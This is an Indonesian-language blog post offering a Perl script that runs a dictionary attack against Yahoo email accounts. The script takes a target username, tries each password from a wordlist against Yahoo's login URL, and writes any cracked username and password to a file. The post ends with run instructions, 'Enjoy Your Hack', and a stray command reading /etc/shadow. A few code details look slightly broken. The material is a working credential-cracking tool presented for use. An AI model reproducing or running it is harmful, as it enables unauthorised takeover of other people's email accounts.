serangan brute force adalah sebuah teknik terhadap sistem keamanan komputer dengan menggunakan percobaan terhadap semua kunci(password) yang mungkin.
Berikut sebuah simple perl coding yang saya buat untuk melakukan brute force dengan metode dictionary attack pada email yahoo :
!/usr/bin/perl
use HTTP::Cookies;
use LWP::UserAgent;
system (clear);
print color 'reset';
print color "green";
print q(
###############################################################
# Yahoo Dictionary Attack #
# http://makassarhacker.com #
###############################################################
# Insert your password list in a file wordlist.txt #
#-------------------------------------------------------------#
###############################################################
# Coding By th3_w1tch #
# https://th3w1tch.wordpress.com #
###############################################################
);
print "Yahoo Username : ";
$username=<STDIN>;
chomp ($username);
print " Press Enter to Start Brute";
$enter=<>;
print "Brute . . .\n";
open (MYFILE, 'wordlist.txt');
while (<MYFILE>) {
chomp;
$password=$_;
$myCookies = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new;
$ua->cookie_jar($myCookies);
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13');
my $url = ("https://login.yahoo.com/config/login?login=".$username."&passwd=".$password);
my $login = $ua->get($url);
if ($login->is_success){
$respon = $login->content;
if ($respon=~m/Invalid ID or password/){print $username,":",$password," -> Login Failed\n";}
else {
open (FILE, '>>success.txt');
print FILE "$username",":","$password\n";
close (FILE);
print $username,":",$password," -> Login Success\n";
print "Password Crack ","$password\n";
exit(0);
}
}
}
close (MYFILE);
Save Code diatas dengan yahoobrute.pl, kemudian jalankan di konsole dengan perintah
root@bt:~#perl yahoobrute.pl
Thank’s Semoga Berguna, Enjoy Your Hack . . . . . .
root@linux~#cat /etc/shadow 